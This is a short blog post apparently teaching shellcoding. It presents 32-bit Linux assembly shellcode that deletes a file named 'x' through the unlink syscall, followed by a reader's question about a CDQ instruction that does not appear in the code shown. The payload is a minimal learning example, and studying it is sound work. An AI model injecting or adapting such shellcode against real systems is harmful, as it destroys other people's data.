Shellcode for deleting a file

Just a short one here. This shellcode simply deletes a file with the name x. Have fun.

deletefile.nasm

; Filename: deletefile.nasm
; Author: Daniel Sauder
; Website: https://govolution.wordpress.com
; Tested on: Ubuntu 12.04 / 32Bit
; License http://creativecommons.org/licenses/by-sa/3.0/

; delete file with name x

section .text

global _start

_start:

	push 0x78 ; push x, filename
	mov ebx,esp
	xor eax,eax
	mov al,0xa
	int 0x80
	
	mov al,0x1
	int 0x80
	

You can download the code from github.

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5 thoughts on “Shellcode for deleting a file

  1. Hello,
    i’m learning x86 and shellcoding (you’re blog is very useful, thanks) but i didn’t understand a thing in this example: why are you using CDQ?
    Thanks a lot,
    Chirs

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